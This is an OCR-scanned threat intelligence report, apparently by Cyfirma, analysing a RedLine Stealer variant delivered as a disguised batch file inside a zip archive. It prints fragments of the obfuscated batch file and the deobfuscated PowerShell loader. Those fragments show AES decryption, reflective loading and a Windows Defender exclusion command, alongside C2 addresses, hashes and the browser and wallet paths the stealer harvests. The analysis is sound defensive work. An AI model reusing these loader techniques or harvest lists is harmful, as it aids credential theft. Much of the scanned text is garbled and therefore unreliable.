AMAL

Sy

LY

A

e
v

DECYFIR

o mvl...‘ y

Jigaw

1

4

t surfaces
iIng Bateh Script

A new varian

Deployingus




’“ Redline Stealer

EXECUTIVE SUMMARY .

At Cyfirma, we are committed to providing up-to-date information on the most prevalent threats and
tactics used by malicious actors to target both organizations and individuals. In this analysis, we delve
into a trending information stealer RedLine. This investigation reveals a novel strain of malware that is
being disseminated in the guise of a counterfeit document, packaged within a zip archive that houses
a batch script file.

INTRODUCTION .

RedLine stealer was first discovered in March 2020 and is one of the most popular stealer malwares. It is
designed to steal sensitive information from compromised systems. It is being sold by cybercriminals on
underground forums as Maa$S (malware-as-a-service). Threat actors are leveraging RedLline Stealer due
to its availability and flexibility. This malware is capable of harvesting information from web browsers such
as saved credentials and payment card details. It also looks over the system for information, including
username, hardware configuration, installed general and security software, installed VPN client, network
configurations, cryptocurrency related data, and sends the stolen information to the adversary.

KEY FINDINGS .

e Redline Stealer is one of the emerging stealer malwares distributed under the guise of fake
documents or software.

e |t uses multi-level obfuscation to avoid detection.

e Uses obfuscated PowerShell script as dropper and to execute the malware.

e Drops the malware hidden as operating system protected file.

e Copies the legitimate PowerShell executable to the current working directory with a different
name and runs to disguise the child process as legit.

e |t is capable of exiracting sensitive data from a wide range of sources such as web-browsers,
email clients, messaging apps.

e Looks for financial data such as saved card details, cryptocurrency wallet database.

e Searches the compromised system for the installed software, system certificates, connected
phones data, VPN client, text and office documents, wallet, and seed information.

e |t can steal user-specific data stored by the FileZilla FTP.

e Also gathers the various information on compromised system including IP address, location,
username, operating system version, system configuration.

e Exfiltrates the gathered data to the adversary at regular intervals.

e The IP address of the RedLine Stealer C2 serveris “80[.]85[.]152[.]191[:]27465" and belongs to the
host “kosarrezanezhad2022[.]pserver|.]space”.
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EXTERNAL THREAT LANDSCAPE MANAGEMENT
ATTRIBUTION .

The malware is originally distributed as a zip archive named installment-papers.zip, disguising as
document related to a financial fransaction and usually delivered to victim via phishing. The zip archive
contains obfuscated batch script and when executed successfully, connects to IP address
“80[.]85[.]152[.]121" on TCP port 27465.

The researcher "@TrackerC2Bot” reported this Ip address as the C2 for the RedLine Stealer:

. m . Tracker C2 Bot
Redline C2
80[.185[.1152[.1H91:27465

The IP address belongs to the Russian region:

IP Location [ Russian Federation Moskva

ASN I AS44493 CHELYABINSK-SIGNAL-AS Chelyabinsk-Signal LLC, RU (registered Jan 28, 2008)
Resolve Host kosarrezanezhad2022.pserver.space

Whois Server whois.ripe.net

IP Address 80.85.152.191

And linked to a known variant of RedLine Stealer with the following details:

5 5 (D) 55 security vendors and 2 sandboxes flagged this file as malicious
17 83dbB6d7872e467513f186adcc02f5408e50bba3d3aal4cbf7dd5difbsaffb34

Pumicate.exe

peexe malware assembly checks-disk-space service-scan overlay ¢

Community Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 3

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an AF

Contacted IP addresses (3) @

1P Detections Autonomous System Country
192.229.211.108 1/89 15133 us
20.99.184.37 2/89 8075 us

80.85.152.191 9189 44493 RU
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Filename: Pumicate.exe

MD5: 6018d10792d2e5717b4e3aaff?310aéa

SHA-256: 83db86d7872e467513f186adcc02f5408e5006a3d3aal4cbf7dd5d1foéaffo34
Imphash: f34d5f2d4577edéd?ceec516c1f5a744

This IP address resolves to the host name “kosarrezanezhad2022[.]pserver[.]space”, and at the time of
analysis, this host does not have significant detection for malicious activity:

Type IP Address Domain Name

PTR 80.85.152 191 kosarrezanezhad2022 pserver space
Unknown (A544493)

As per the OSINT investigation, RedLine Stealer is the most prevalent malware from last 15 days:

Threat Landscape: From an external threat landscape perspective, the discovery of new RedLine Stealer
variant has lower detection and multilevel obfuscation. Cyfirma’s research team highlights the
concerning frend of threat actors developing distinct methods to evade detection at early stage of
attack and infection. The threat actor behind this variant is adapting different techniques to obfuscate
the malicious sample to keep it under the radar as long as possible.

ANALYSIS OF RedLine Stealer o

File Name installment-papers.zip

File Size 294.32 KB (301382 bytes)

Signed Not signed

MD5 8248867e6d42d41cfdea624f87e14fab

SHA-256 e0f0449aae4dc117e34517e8c83fd49faf2b379dcaf2fd35ff291dd5003864e2
Date Modified | 31 Aug 2023

The original malware sample comes as a zip archive.

This zip archive contains a batch script file (.bat file) named as “installment-papers-pdf.bat”:
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File Name installment-papers-pdf.bat

File Size 393 KB (4,02,949 bytes)

Signed Not signed

MD5 b4c53eb42fac3e0c8770a4704171cfb6

SHA-256 f4f093e1c950a233464a6a17a2040630c9e4f69b282f4a34510b3de35d5723b0
Date Modified | 29 August 2023, 03:23:31

The batch file contains a meaningless long comment, to give a fuzzy look to the content of the file:

Gecho off

:DVsREELZPIBxVEER/GSWFGTPDLtt 3mYZJkWRICKLT/ cHEL2 8a/tKqAJLEAfLEU3AO4ghDr8X/mgUgzaly6cr+aXQTvk TCNRRP2Hc MY ZeykC5 T kECr
/thMrZIZ2cPTWEULLzfh]4p0Y¥zSwt 1] 9VaHQTHUVHbCTeVLGEEpOI4pSMTTgP+tV2P1sg3 6wd/gTouexgoJujDxgmel lcoULgt NhEg6RIyRUNPDE g £A
00000hUrpIgYXdVQHr sONVCAWRSO3NE3r+bi 86JnPRUKWISWaTswlLCFnOakJcipB+yG9aFr5GidvClzBNgYmevelcLRr/ 9KE 9CvLTyWNGIKCEY0+2g
yEZ24/KolvWEX fpO9FaRBw5z2rhR91t001qz ZThCZLFEG2 8BEnb2XWDY 8 64pyQakw0 thDpc 7Y GmBUXVOENI 1PNS3H0Tfa5rM2EOnCEZnfHATZzE]1 1an
Jp0igupDQSQDINDZ 6CDxT7sLTvFaMz3+Nal H:TLL2HhPE'F”hFh'/thPP‘”/JYUyH- TFkTF3I0Y1bpkppCt ZGD1 ThMakupSPEAf+YuwPpzH2x ] Zb
EMh4JLogzhfr“aPﬁiz*-Et"éI“E;Sxiﬂqlrzvhr TTbHrsStmlI/Y4fPJkyFRRLSMZ 6gohznEpWs1Tr
CWSWBTJCuDiynJo2RgbegOnxA+dEUbggds+dCYubr LELPthuhﬂua4HQLthﬁgf”o s+1WzfWIYQOTAPLZ fQ_:B 45e0sT/vXD9wlWzHYyEhIVIbB1TY
jhsPEul/B1l25J8t00pT8TWQLY108TVaRg] s1AHQAMINSOEs+gg I JhmZ4nMSCEDgbZMt YEiTuCG118G01ie fDEUT IVe2W5 smNgHxN6uxNYO3 kx4 WNreN
xvdU¥a+Awzfz1YuRglz2N6OnSHWENSEeyffh/ 61eBAWz+thqOpLOJyIml /ng8VYjuFHQEP1PvEC 1CJ11X_Exh2P‘ftNdQ4Eu2MEP:Hth?EkA4if
MMSXREOQpgZ1wTf1lhldF5aTEET+JvrhAc+ZwpUgc6Kh9bhHOMLYy fA+Qfv/mWiEmnsQoZFeRB/+
GQNcEaYWeVXEC/aiQuloH9v3Dg6md/ LPg6qwX1WM] j YgsIxM/qQAMINANNV=V 16 £EnmYBNALwA4508Vh71jx3bDR/ SwLRkMc T2 8P+
h90ei956vmToJ6xZDESJOg]IDICI+BrPnleffHOOACigDIZ241Mb1jSh5ChQZ3gMT5PC+EIGhaRT i+
mzp/Weol¥j0¥ZzuyFE4WWzicui RjMgEPi 3aN2GueYTowkU4vs0qg/ sQFhLEX/MwDFY Iq2 0+WwSJ2hd+
0zIBJBU3pS5TzIhsRYuPhViEH1GHeA91DEIn118iul2mYBRNembQ7bXR4629veWdowb0SQ/ gEPéuSqInlgébnep 9¥pDzdgyR2UFFSuvb 9d4uv4M5XmyY
+Hmw3csk4XZTLhUGPG+
gUok01dFLs3cbWZU4p30e04sLioeZXGEAT6JynVPoBURYaPS/Gp2po T lwt PkwDTgakNOS2VThVzv4 JenIZh TNynQt Vo IpE2 TNENLn+v4uHzRY 0 9XL
+pHs03%gU4NOmE R Z2U/ CFdUSATemc6EloDaFMPwly71BEF40 TEbxHwWzrLEoJEh 5 9aNN+NDpLynleeMBgZ PGGR 1 Lvgrd+
wrRs1lbEcSVNI/ tkToSRINp6EmMLhxxXYiKibRh4sp/ zu2 ZUCE6LJHYA=Sht PEPtAblAm3oecSh+
X281yGrgHF10YdEODUeLvzklDnase/K90z1Bt4JuH4 TWIFkE6kSEWAT Is1 PoyXwC SWIrEFhUdxcrulJolfpSGaTzlsDryr T+
nkLIaoZH7520%U07qWinNXgMAxP5d6yMIW0GEsEYGzULtIWS0GKVUY+YglpNijnou2j4/y16mIo+
Y1ixwfgCSLeBRRLE] 90y TXrquVGGWMHEAILEAfXwgvEeBn1YzNB1E3nBLiMMLgEQWEE ] jsUBe31eNOMhOoM4U3SpY 99zulmkeSoiRTUWIVOWFULEdn4
SVODN/wE¥h45w] 6HuTL7 cugPhl BYRRHUYUYVMDUNyYmbThng9WPg4 kY¥vL2 fOcPhxSLewwuvJG+
kpi6aIdvOMIHMWKBPAETdVEStKEnZ052z1LsCzSIobhmimamFSJ6D4bPHM/UdZTCLLV/VUddT Yed+gEwc6QUHSa95JovIGEInYPO+TXT19TQL+
3RPHCckeRkdRaHZ 1XcwFMwyasTH3JvehCEWCAB+nJj2Fi8QESS/V0/Qalz/ iMNVvERHZRbUCPSgSFRNSPDWFUzJggSLET+

Meaningless comment in batch file

Also, the content of the file is obfuscated, as shown below:

set "PGpgQr=seVSDpLtVSDpL uVSDpLtWVSDpLp=VSDpLlVSDpL &VSDpL&eVSDpL sVSDpLtaVSDpLrtVSDpL "VSDpL"VSDpL

VSDpL/mVSDpLinVSDpL VSDpL"

set "HpZEPR=&VSDpL&VSDpL exVSDpLiVSDpLtVSDpL"

set "ARzhmN=noVSDpLt VSDpLdeVSDpLfiVSDpLneVSDpLd VSDpLutVSDpLWVSDpLpVSDpL

if { )

set gQuFYr=

set

" cnRviT=WVSDpLinVSDpLdVSDpLowVSDpLsPVSDpLowVSDpLerVSDpLShVSDpLeVSDpLL1VSDpLA\v1VSDpL . 0\VSDpLpoVSDpLweVSDpLr sVSDpLhV

SDpLelVSDpLl.VSDpLexVSDpLeVSDpL"”

set CZngTH=C:\Windows\SysWOWE4\

if not exist (set CZngTX= )

set "JORQrR=-wVSDpL VSDpLhVSDpLiVSDpLddVSDpLeVSDpLn -VSDpLc

VSDpL5 fVSDpLi YVSDpLe=VSDpL ' IVSDpTlnvIVSDpLATrVEDpLoVSDpLkVSDpLe IVSDpT.ATVSDpLr ' . VSDpTReVSDpLpVSDpL1avsDpLeVShple (VSD

pL' IdVSDpLTrvSDpL',

VSDpL'VSDpL') , VSDpL'VSDpLReaVSDpLsVSDpLSQgVSDpLALVSDpLi VSDpLsSVSDpLOgVSDpLnsVSDpL.SQVSDpLgeVSDpLsVSDpLsVSDpLSQVSDpL

q'VSDpL.RVSDpLeVSDpLplaVsSDpLeeVSDpL ( ' VSDpLsSQVSDpLQVSDpL ', VSDpL

' 'YSDpL) , ' VSDpLMVSDpLaVSDpLZWVSDpLebVSDpLinVSDpLZVSDpLWVSDpLebVSDpLMVSDpLZWVSDpLebVSDpLodZVSDpLWe VSDpLbuVSDpLl ZVSD

PLWVSDpLeVSDpLbeVSDpLZWVSDpLeb ' VSDpL. ReVSDpLpVSDpL1avVsDpLeVSDpLe (VSDpL ' ZVSDpLWebVSDpL 'VSDpL,

VSDpL' ' VSDpL) VSDpL, VSDpL ' VSDpLSVSDpLpNVSDpLijqVSDpL1NVSDpLiVSDpL]qVSDpLiNVSDpLijVSDpLgVSDpLt VSDpLNiVSDpLj qVSDpL ' VS

DpL.RVSDpLepVSDpL1aVSDpLceVSDpL ( ' VSDpLNi jVSDpLgVSDpL' ,

VSDpL'VSDpL') , VSDpL ' GVSDpLeRVSDpLsnVSDpLEEVSDpLCRSVSDpLnHEVSDpLurVSDpLRsnVSDpLErVSDpLe RVSDpLsnHVSDpLnt VSDpLPVSDpLRS

VSDpLNnVSDpLHEroVSDpLRVSDPLSNVSDpLHCeVSDpLRSVSDpLNnHESVSDpLsVSDpLRSVSDPpLNHVSDPL ' VSDpL . RVSDpLepVSDpL1aVsDpLce (VSDpL ' RsV

SDanVSDpLH VSDpL, VSDpL"VSDpL) VSDpL' chVSDpLu
) LPVSDpLExtVSDpLulVSDpLgVSDpLPeVSDpLnuVSDpLlVSDpLgPVSDpLsuvSDp

P DpLgPVSDpL

1 VSDpLReVSDprlVSDpLacVSDpLeVSDpL('VSDpLuVSDleVSDpLgPVSDpL' VSDpL

' 'VSDpL) , ' VSDpLCNVSDpLAQVSDpLxVSDpLopVSDpLNVSDpLdQx VS DpLy TNVSDpLAVSDpLOxXVSDpLoNVSDpLAQVSDpLxVSDpL ' VSDpL . VSDpLReVSD

pPLplVSDpLacVSDpLe (VSDpL' NAVSDpLOVSDpLx ', VSDpL

'VSDpL') , VSDpL' LVSDpLoVSDpLSVSDpLaVSDpLkmVSDpLaSaVSDpLkmdVSDpLSaVSDpLkmVSDpL' . VSDpLReVSDpLplVSDplacVSDpLeVSDpL (VSD

pL'VSDpLSaVSDpLkm' VSDpL,

VSDpL' 'VSDpL) VSDpL, ' DVSDpLRVSDpLvNVSDpLCVSDpLeRVSDpLYNVSDpLecoVSDpLRYVSDpLNcmVSDpLpr VSDpLRVVSDpLNCVSDpLeRVSDpLYNVS

DpLcVSDpLsVSDpLSRvVSDpLNVSDpLc ' . VSDpLRVSDpLepVSDpLlacvVsDpLe (VSDpL ' RVSDpLvNVSDpLCVSDpL ', VSDpL

'VSDpL') VSDpL, VSDpL ' TVSDpLravsSDpLGuVSDpLponVSDpLsGVSDpLupVSDpLOfVSDpLGVSDpLupOVSDpLoVSDpLrVSDpLGUpVSDpLOVSDpLmVSDp

TRV ST anOT ST i N eSIimT.a sV S NnTaanY SNnT.AT ST 1 T e Nn TR S In TaN L 7S Dn Lo ST T S In T.AV S TnT.ac 7 S DnT.aY S DnTanSDnT.A L 7SDnT. B

Obfuscated content in the batch file
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Deobfuscation:

The deobfuscated file reveals the values assigned to the variables. Also, it shows that instead of
executing the powershell.exe from its original location, the script copies it from the original location
(CAWindows\SysWOWé4\WindowsPowerShel\v1.0\powershell.exe) to the current working directory
and renamed it as “installment-papers-pdf.bat.exe” for a 32-bit host operating system powershell.exe,
located at “C:\Windows\System32\WindowsPowerShel\v1.0\powershell.exe".

" fmin ®

bet. "ARz '“f\ not defined utip Variable with assigned values
Lf not defined utWp (set utWp=l File-Path\installment-papers-pdf.bat && exit)

et "cnRviT=WindowsPowershelliwl.0\po
bet CZngTX=C:\W 05\ SySWONE4\ W1
Lf not exist C:‘\‘n‘i:dows‘\SysiﬂCHié"-.Wi dnS"’OM:"S‘!"l\UI.'J‘\FQ‘\'EZS!‘I":;I-EK": (set CZngT®=C:\Windows\System32\WindowsPowershell\vl.0\powershell.exe)

o3 ROLA= W IR S Y (ol L P T ) (o o ol (=30 B Vol D T /3-8 [ WA (IS8 {5 o Tl i

?,'Fazwebmzweb.‘lﬂﬂe odIWebulIWebeZWeb' .Replace ("ZWeb', '"), 'SpNijglNijqiNijqtNijq".Replace("Nijq",

'), 'GeRsnHtCRsnHurRsnHreRsnHntERsnHroRsnHceRsnHssRsnH' .Replace ('RsnH', ''), 'ChulgPanulgPgeulgPExtulgPenulgPsulgPioulgPnulge' . Replace ('ulgk',
'), "CNAQRopNdQxyTNdQxoNdDx . Replace ("Ndgx", ''), 'LoSakmasalmdSakm®.Replace('Sakm®, '), 'DRvNceRvNccoRvNcmprRvMceRvNcssRwNc' . Replace ("RvNc',

'), ' TraGupOnsGupOfGuplorGupimPGupdinaGup0lBGupdlGuptockGupd’ . Replace ('Gupd®, ''), 'EntRzIviKzIvyRzIvPRzIvoinKzIvtKzIv' . Replace('KzIv',

'), 'ElvStpemevStpntvStpAtvStp' .Replace('vwStp', ''), 'FQSCNroQSCHm(SCNBaQSCNsQSCNe64QSCHSEQSCNriQSCHngQSCH" . Replace ('QSCH",

'), 'CooXjreCoXjateCoXjDeCoXjcCoXjrCoXjyptCoXjorcoXj' .Replace ('CoXj", '');function PowerShell Script

hEsgW ($gBVEE) { $APtTz=[System.Security.Cryptography.Aes) : :Create() ; 3APtTz.Mode=(System.Security.Cryptography.CipherMode) : :CBC; $APLTz. Padding=(Sy
ftem. Security.Cryptography. PaddingMode] : :BRCST

SAPLTz.Key=[System.Convert]:: ($fiYc[12]) ("18TLRf£C3qyiX9d1i0UDrMEZnENTSzmOsSqowlygEI0=") ; SAPLTzZ. IV=[System.Convert]:: (5£i¥c(12]) (' cVpCMuhwIpdi)
PX4Lhb7sAw==") ; $zMzHi=5APtTz. ($fi¥c[13]) () ; S0tIgR=52MzHi. [S'ifr"'?]?t&gm-' E, 0, $gBVtE.Length) ; $zMzHi.Dispose () ; SAPtTz. Dispose () ; $0t2qQ; } function
baCSB ($gBVLE) [ $Iblbv=New-Cbject System.IO.MemoryStream(, 3gBVtE);5jRJid=New-Object System.IO.MemoryStream;SwtUlw=New-Object
bystem.I0.Compression.GZipStream(5Iblbw, [I0.Compression. Cu]'ﬂ[fl‘¢3510l’“'l0d&1 1 ($Ei¥e[B])) ; SWeUlw. ($fiYc[6]) ($jRJid) ; SWtULlw.Dispose () ;$Iblbv.Dispose
) ;§jRJid. Dispose () ; RJid. ToArray() ; } 5gajzd=[System.Ling.Enumerable] :: ($£i¥c[11]) ([System.I0.File]:: ($fi¥Ye[1]) ([System.I0.Path]:: (3£i¥e([5]) ([S5
pstem.Diagnostics.Process):: (SfiYe([4]) (). ($£i¥e[2]).FileName, $null)), 1);3$Ckhah=3gajzd.Substring(2). ($£iYe[3]) (':");$1x0BC=bacsB (gfzgW
[Convert]::(5fiYc[12]) (5Ckhah([0])));$NiMIk=baCSB (gfsgW

[Com'er't] hfl‘fc[lE] a.,khah[llnj,[svstem Reflection.Assembly] :: ($£i¥e[7]) ([byte[]]SHyMIk) . ($£iYe[10]) . (S£1¥e(0]) (Snull, Snull); [

hystem. Refl :($£i¥c[7]) ([byte[]]$ix0BC) . (3£i¥c[10]) . ($£i¥c[0]) (Snull, $null);"

[mmr :\Windows\SysWONGE4\WindowsPowershell\vl. 0\powershell.exe "File-path\installment-papers-pdf.bat.exs" | copies powershell.exe to
"File-path\installment-papers-psf.bat,.exe” #J0Kqr] current directory |

Deobfuscated Batch File

This de-obfuscated file contains a variable “JOKgrK", which represents a string that is a partially
obfuscated and is a parameter supplied to the PowerShell when file executes.

BEHAVIORAL & CODE ANALYSIS .

Upon executing the batch file, it launches a Windows command prompt (minimized) that copies the
powershell.exe from “C:\Windows\SyswOWé4\WindowsPowerShel\v1.0\powershell.exe" to the
malware's (the batch file) directory and renamed it as “installment-papers-pdf.bat.exe”. We have
seen this expected behavior from the de-obfuscated batch file.

Then the properties of the “installment-papers-pdf.bat.exe” is changed to the operating system
protected file, that hides the executable and prevents programs from replacing that file.

The execution goes as shown in the following process free:
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7 g cmd .exe (2552)
g Conhost exe (3636)
] g omd exe (6496)
w4 Conhost.exe (1956)
=| - # installment-papers-pdf bat exe (2260)
- 4 powershell exe (5292)
e Conhost.exe (15338)
. ;ComputerDefautts exe (7004)
= s ComputerDefautts exe (4343)
=] 4% powershell .exe (2148)
g Conhost exe (2068)
) e emd exe (1504)
g4 Conhost.exe (5304)
) % cmd exe (3336)
i Conhost.exe (5064)
= 4 instalment-papers-pd f bat.exe (2300)
= - powershell exe (5200)
g8 Conhost.exe (5472)
- 4 powershell exe (2492)
g Conhost.exe (2638)
4 powershel exe (4644)
4 Alexe (7148)

=] 3 powershell exe (4460)
i Conhost.exe (408)

Nirtro CPU

Windows Com...
Cansole Wind...
Windows Com..
Console Wind...
Windows Pow. ..
Windows Pow...
Console Wind...
Set Program A...
Set Program A...
Windows Pow...
Cansole Wind...
Windows Com...
Console Wind...
Windows Com. ..
Cansole Wind...
Windows Pow...
Windows Pow...
Console Wind....
Windows Pow...
Cansole Wind...
Windows Pow...

Windows Pow...
Cansole Wind...

Cihiomm

Cal

WINDOW Sheystem ...
WWINDOWS \System3...
CCAWINDOWS \system3. ..
\WINDOWS  System3...
= \Desktop®...

C:\Windows\SysWOWE...
CAWINDOWS \System3...
YWindows \System32. ..
C:\Windows “System32 .. "
VWINDOWS\SysWO...

WWINDOWS \System3...
CAWINDOWS\SysWO...

\WINDOWS  System3...
CAWINDOWS\SysWO...

VWINDOWS System ...
" Desktop®...

YWindows\SysWOWE. ..
C:AWINDOWS'\System3...
“Windows'\SysWOWE...
CAWINDOWS'\System3... V77
VWINDOWS W SysWO. ..

A "Desktop..

C:\Windows\SysWOWE...
C:AWINDOWS\System3...

CHWINDOWS system32'emd exe /o ""CA\ " Desktop"S2tinstallment-papers-pd bat
WWINDOW S system32hconhost exe Qi -ForcelV/1
CAWINDOW S gystem3Pemd exe /K"CH____ _ \Desktop'S2installment-papers-pa'f bat"

WWINDOW S'system32\conhost exe Duffffffff -ForceV

" " \Desktop*S2tinstallment-papers-pd§ bat exe” -w hidden < &fiYe="nvld Trokeld Tr' Replace(ldTr,
Windows"System 32"\ WindowsPowerShel'w 1.0%powershel exe" $a = [System Diagnostics. Process]: Get Pro
WWINDOW S'\system32\conhost exe Qe -ForceV1
ndows \System32\ComputerDefaults exe” "C:A
Windows " System 32 ComputerDefaults exa” "C
"powershell exe” start -windowstyle hidden filepath T:\
IPCAWINDOW Sheystem32hconhost exe Qi -Forcel/1
CAWINDOW S gystem3Zemd exe /¢ ""C. \DesktopS2installment-papers-pdf bat
ICAWINDOW Shsystem 32 vconhost exe (i -Force'/1

CHWINDOWS system32'emd exe /K "C\ \Desktop*S2\installment-papers-pd'f bat”
FHCAWINDOW S eystem 32 \conhost .exe Ouffiffif -Forcel1

"C e <o \DeshtoprS2vinstallment-papers-pdf bat exe” -w hidden ¢ #iYe="Inv|d Trokeld T Replace(1dTr,
ndows*System 324 WindowsPowerShel'w 1. 0powershell exe" $a = [System Diagnostics Process]: Get Prc
WWINDOW S system32\conhost exe Qffffif -ForceV/1
ndows"System 32\ WindowsPowerShel'w 1.0%powershell exe” add-mppreference -exclusionpath @(C:\,
SWINDOW S'system 32\conhost exe Qi -ForceV1

"powershell exe" [Console]::Title = {(Get-Scheduled Task). Actions. Execute 4oin ") Contains(C:\Users\ AP \Deskt
"Ci\lucia v Desktopt 52441 exe”

Windows" System 32\ Windows PowerShel'w 1. 0'powershel exe” $a = [System Diagnostics. Process]: Get Pro
VIPCOWINDOW Sheystem 32 conhost exe Guffiffif -ForcelV1

““\Desktop'\52\installment-papers-pd f bat”
e - . WDesktop’ S 2\installment-papers-pdF bat”
" "' Desktop" S 2\installment-papers-pd § bat’

Execution Process Tree

The PowerShell scripts drops an executable named “Al.exe"” in the current directory which also has
the attribute of protected operating system file, hidden from the users and prevents programs from

replacing that file.

é} Ewent Properties

é} Ewvent 45p Process £ Stack
Date: -
Thread: 4204
Class: Process
Operation: Process Start
Result: SUCCESS
Path:
Duration: 0.0000000
|_Parent PiD: 2000 |

Command line:

Current directony:

Environment:

TN e e s v WDesktophS2VAT exe”
CHWINDOWS system 32

=Ci=CAWindows\Systern 32
ALLUSERSPROFILE=C:\ProgramData

The dropped executable “Al.exe” is then executed by the “installment-papers-pdf.bat.exe”:

Analysis of dropped executable (Al.exe)

File Size :

179 KB (178688 bytes)

Icon Graphic: .
Signed?: Not signed

MD5: 28caece68c96bec864c5b61d09a8ad06

File Hash: SHA256: 197b50f15375335928e08c5¢cc5b6f50cd93864655237b8db85556d4057f3b988
SSDEEP: 3072:c6y3xKLGI910ndCkQdOZ9YnX+NnEOO6KOYualq8e8h4:Ry7910ndCkQ7qnEOM7uas
Imp Hash: f34d5f2d4577ed6d9ceec516c1f5a744

Compile Time:
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Sun Feb 22 06:09:25 2082
Entropy:
file entropy: 5.813074 (normal)

Al.exe is a 32-bit Windows executable, complied with Microsoft Visual C# v7.0 / Basic .NET. Disguised
itself as Nitro CPU that helps boost CPU performance:

Architecture:
Subsystem:
Compilation Date:
Comments:
CompanyName :
FileDescription:
FiiLeversion:
InternalName:
LegalCopyright:
LegalTrademarks:
JriginalFilename:
ProductMName :
ProductVersion:
Assembly Version:

IMAGE FILE MACHINE I386
IMAGE SUBSYSTEM WINDOWS GUI
2082-Feb-22 86:09:25

Helps boost CPU

Nirtro CPU

15.9.1.22

Clotures.exe

NireoNOl Corporation Copyright @ 2821

Clotures.exe
Nitro NO2
15.9.1.22
1.9.2.1440

It does not require the administrator privileges for execution:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1l" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>

<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

Al.exe has three sections, and the text section is marked as executable with higher entropy:

headers header[0] header[1] header[2]

name dext JTEIC reloc

md3 F79995C182051AE95109421...  ECT258VBFE5B3ICFCZEAEID.. 755BABF3F38E152A8D35578...
entropy 6177 3.248 0.102

file-ratio (99.71%) T7.08 % 2235 % 0.29 %

raw-address (o 00000200 Onc 00021 CO0 O 0D02BB00

raw-size (178176 bytes) (000021400 (137728 bytes) O 00009CO0 (39936 bytes) O 00000200 (312 bytes)
virtual-address (00002000 O 00024000 O DD02ZEQOD

virtual-size (177230 bytes)

(000218F4 (137460 bytes)

O0DD0SBAE (35758 bytes)

0x0000DDOC (12 bytes)
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It loads two libraries initially and 517 imported functions:

library (2} type (2] imports (1623)  description

mscoree.dll 1623 Microsoft MET Runtime Execution Engine

kernel32.dll p/invoke 2 Windows NT BASE API Client
Sleep mscoree.dll
FromBasebdCharArray mscoree.dll
set UseShellExecute mscoree.dll
LoadLibraryf kernel32.dll
DownloadFile mscoree.dll
DownloadData mscoree.dll
GetCurrentProcess mscoree.dll
MemoryStream mscoree.dll
|IPAddress mscoree.dll
WebClient mscoree.dll
ServicePointManager mscoree.dll
SecurityProtocolType mscoree.dll
WebRequest mscoree.dll
WebResponse mscoree.dll
DataProtectionScope mscoree.dll
CryptographicException mscoree.dll
ProtectedData mscoree.dll
HashAlgorithm mscoree.dll
MD5 mscoree.dll
MDSCryptoServiceProvider mscoree.dll

Imported functions indicating the potential of Al.exe

Execution Analysis of Al.exe

The memory string of executable reveals IP address it attempts to communicate:

0x2cf5324 (19): 80.85.152.191:27465
Ox2cf5344 (38): 80.85.152.181:27465

0x2cffé67c (60): net.tcp://680.85.152.191:27465/

The network logs confirm the reverse IP address lookup by the Al.exe, which resolves to
“kosarrezanezhad2022[.]pserver][.]space”.

feBl: :3474:e8bc.. TeB@::6eb7:49f.. DNS 186 Standard gquery @x16@a PTR191.152.85.8@.1n-addr.arpa
feb0: :6eb7:497f.. feB0::34f4:e08b.. DNS 153 Standard query response @x .85.00.1n-addr.arpa PTR[kosarrezanezhad2822. pserver. spacel
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User Datagram Protocol, Src Port: 53, Dst Port: 51366
Domain Name System (response)
Transaction ID: @xlé@a
Flags: @x8188 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: @
¥ Queries
(191.157.85.86.1n-addr.arpa:} type PTR, class IN
¥ Answers
191.152.85.80@.in-addr.arpa: type PTR, class IN, [P:u-sar‘r‘ezanezhadmﬂ.pierver‘.space]

Reverse IP lookup by RedLine Stealer

At very start of the network communication with C2, RedLine Stealer sends authorization request,
which varies with each different execution of the malware:

....... net.tcp://80.85.152.191:27465/.......U.http://tempuri.org/Entity/Idl.net.tcp://80.85.152.191:27465/.1d1.h
ttp://tempuri.org/V...s...a.V.D

Authorization..nsl. al3le3b@9378@cdedco2d3esbfcea7cdD. .. ... [3(@. ... ylip,D*. .. D.......V.B.

Authorization request (execution attempt:1)

....... net.tcp://88.85.152.191:27465/.......U.http: //tempuri.org/Entity/Id1l.net.tcp://80.85.152.191:27465/.1d1.h
ttp://tempuri.org/V...5...a.V.D

Authc;i:atian, .nsl. al3le3bB893788cdedc92d385bfcB47cdD.

o

Authorization request (execution attempt:2)

C2 sends the response against the request, which also varies with each different execution of the
malware:

C2response (execution attempt:1)

....... P%http:fftempuri.org}Entity[Ileesponse.Ileesponse.httﬁ:fftémpuri.org/ Id1ResultV...s...a.V.D
oD ecoes P@....q..JD.......V.B.

C2response (execution attempt:1)

On further communication, C2 asks for the details that RedLine Stealer must grab from the
compromised system and send to the adversary. This instruction includes web-browser data, installed
software list, security software, graphic card detail, cryptocurrency wallets, running processes etc. and
remains almost same for the with each different execution of the malware:
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o Dt Eem e G Fah %userprolee%\oesktop[‘ txt,*.doc*, *key’,‘wallet’,‘see&]leF .<Xuserprofile¥\Documents|*.txt
»¥.doc*,*key*, *walle e 2 ttlc.netF.. . XUSERPROFILEX\AppData\Local\
Chromium\User DataF..3¥b ta ..8%USERPROFILE%\AppData\Local\Google(
x86)\Chrome\User DataF.. um;mqauummn\.mxmm. . <XUSERPROFILEX\AppData\Local\MapleStudi
o\ChromePlus\User DataF..-%USERPROFILE%\AppData\Local\Iridium\User DataF..1¥USERPROFILEX\AppData\Local\75tar\75t
ar\User DataF..1%USERPROFILEX¥\AppData\Local\CentBrowser\User DataF..,X¥USERPROFILEX\AppData\Local\Chedot\User Dat
aF. .-%USERPROFILEX\AppData\Local\Vvivaldi\User DataF..,%USERPROFILEX\AppData\Local\Kometa\User DataF..6%¥USERPROFI
LE¥\AppData\Local\Elements Browser\User DataF..:¥USERPROFILEX\AppData\Local\Epic Privacy Browser\User DataF..4%U
SERPROFILEX\AppData\Local\uCozMedia\Uran\User DataF..OXUSERPROFILE¥\AppData\Local\Fenrir Inc\SleipnirS\setting\m
odules\ChromiumViewerF. . :¥USERPROFILEX\AppData\Local\CatalinaGroup\Citrio\User DataF..3%USERPROFILEX\AppData\loc
